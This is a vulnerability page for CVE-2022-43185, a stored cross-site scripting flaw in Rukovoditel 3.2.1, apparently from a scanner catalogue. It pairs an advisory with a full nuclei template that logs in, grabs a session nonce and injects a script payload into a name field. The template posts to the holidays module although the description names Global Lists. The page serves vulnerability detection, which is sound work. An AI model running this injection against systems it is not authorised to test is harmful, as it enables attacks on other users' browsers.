Rukovoditel <= 3.2.1 - Cross-Site Scripting

mediumseverity

5.4CVSS score

1.2%likelihood of exploitation, next 30 days

69%of all CVEs are less likely

Readycheck to confirm it

A stored cross-site scripting (XSS) vulnerability in the Global Lists feature (/index.php?module=global_lists/lists) of Rukovoditel v3.2.1 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter after clicking "Add".

Impact

Authenticated attackers can inject malicious JavaScript through the Name parameter in Global Lists that executes in other users' browsers when they view the stored content, potentially stealing session tokens or performing unauthorized actions in Rukovoditel project management system.

Fix

Upgrade Rukovoditel to a version higher than 3.2.1 or apply the vendor-provided patch to mitigate the XSS vulnerability.

How to confirm it

Send: GET /index.php?module=users/login ; POST /index.php?module=users/login&action=login ; POST /index.php?module=holidays/holidays&action=save&token={{nonce}}
Positive when: status_code_3 == 200 and contains(content_type_3, "text/html") and contains(body_3, "<script>alert(document.domain)</script>") and contains(body_3, "rukovoditel")

Run it with nuclei: nuclei -id CVE-2022-43185 -u <target>

The full check

id: CVE-2022-43185

info:
  name: Rukovoditel <= 3.2.1 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A stored cross-site scripting (XSS) vulnerability in the Global Lists feature (/index.php?module=global_lists/lists) of Rukovoditel v3.2.1 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter after clicking "Add".
  impact: |
    Authenticated attackers can inject malicious JavaScript through the Name parameter in Global Lists that executes in other users' browsers when they view the stored content, potentially stealing session tokens or performing unauthorized actions in Rukovoditel project management system.
  remediation: |
    Upgrade Rukovoditel to a version higher than 3.2.1 or apply the vendor-provided patch to mitigate the XSS vulnerability.
  reference:
    - https://github.com/anhdq201/rukovoditel/issues/1
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43185
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-43185
    cwe-id: CWE-79
    epss-score: 0.01204
    epss-percentile: 0.68511
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve,cve2022,rukovoditel,stored-xss,xss,authenticated,vuln

http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=holidays/holidays&action=save&token={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&start_date=2023-05-22&end_date=2023-05-31

    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(content_type_3, "text/html")'
          - 'contains(body_3, "<script>alert(document.domain)</script>")'
          - 'contains(body_3, "rukovoditel")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'id="form_session_token" value="(.*)" type="hidden"'
        internal: true

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